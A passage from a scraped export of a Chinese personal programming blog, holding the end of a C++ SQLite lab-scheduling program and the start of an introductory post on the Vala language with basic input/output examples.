Cirno:-P\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Rest of the Lab are all avaliable from 8 to 20.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Entry formula.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system initialing...\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;--query\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system instructions.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Usage: lab-management [option]\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Options: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// cout \u0026lt;\u0026lt; \u0026#34; --user Login this system as teacher.\u0026#34; \u0026lt;\u0026lt; endl;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; --query Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e自行了解用途,我已经忘了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"http://legacy.superbart.xyz/picture/Random/adwaita-d.webp\" alt=\"Featured image of post Vala 介绍\"/\u003e\u003cp\u003e\u003ca class=\"link\" href=\"https://vala.dev/\" target=\"_blank\" rel=\"noopener\"\u003eVala\u003c/a\u003e 是由 \u003ca class=\"link\" href=\"https://www.gnome.org/\" target=\"_blank\" rel=\"noopener\"\u003eGNOME 小矮人\u003c/a\u003e开发的面向对象编程语言。编程语法接近 Java,围绕 \u003ca class=\"link\" href=\"https://gitlab.gnome.org/GNOME/glib/\" target=\"_blank\" rel=\"noopener\"\u003eGLib\u003c/a\u003e 库展开。编译方式是先翻译成 C 语言代码,然后编译。用途嘛……我来讲个故事吧。\u003c/p\u003e\n\u003cp\u003e我半年前学了 Dart,Google 开发的语言,编程语法接近 Javascript。官网说它是“多用途语言”,然而我感觉多数人学了它,就是为了用 Flutter :-P\u003c/p\u003e\n\u003cp\u003eVala 也是这样,名义上是一个“多用途语言”,但是我感觉多数人学了它,只是为了 GTK。我也是不知道为啥,非得用这个语言写我的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/MySQL/exp4\" target=\"_blank\" rel=\"noopener\"\u003e数据库大作业\u003c/a\u003e,花了两周时间边学边写,最后也不知道我学了个啥……\u003c/p\u003e\n\u003cp\u003e不得不说,GLib 是一个很强大的库。本来说是给 GTK 服务的,后来独立出去了。它实现了单/双向链表,变长数组,树,Map 等数据结构。它还以 GObject 为中心,构建了一个相当完善的,庞大的,\u003cdel\u003e让我这个菜鸡不知所以的\u003c/del\u003e类系统。\u003c/p\u003e\n\u003cp\u003e接下来大致介绍顺序:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出(从键盘输入,从终端输出)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句 if-else 和 switch\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句,包括计数和计事件循环\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我一点都不懂的面向对象\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eGLib 库和 Gee 库\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSQLite 3 库\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e先给大家推荐一些前人的经验教训:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wszqkzqk.github.io/2022/10/17/%E6%8E%A2%E7%B4%A2Vala%E8%AF%AD%E8%A8%80/\" target=\"_blank\" rel=\"noopener\"\u003e探索Vala语言 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://valadoc.org/index.htm\" target=\"_blank\" rel=\"noopener\"\u003eValadoc.org (Vala 库文档网站)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Documentation\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/Documentation - GNOME Wiki! (官方文档)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"基本输入输出\"\u003e基本输入输出\u003c/h2\u003e\n\u003cp\u003e官方演示:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/BasicSample\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/BasicSample - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e输出一句话,都是那德行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// GLib 的 print 函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Clapton is GOD!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 使用到了 stdin / stdout / stderr 对象\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s is GOD!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Clapton\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e输入一个数字:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 双精度浮点数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类似 C 语言的 scanf,注意 out\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 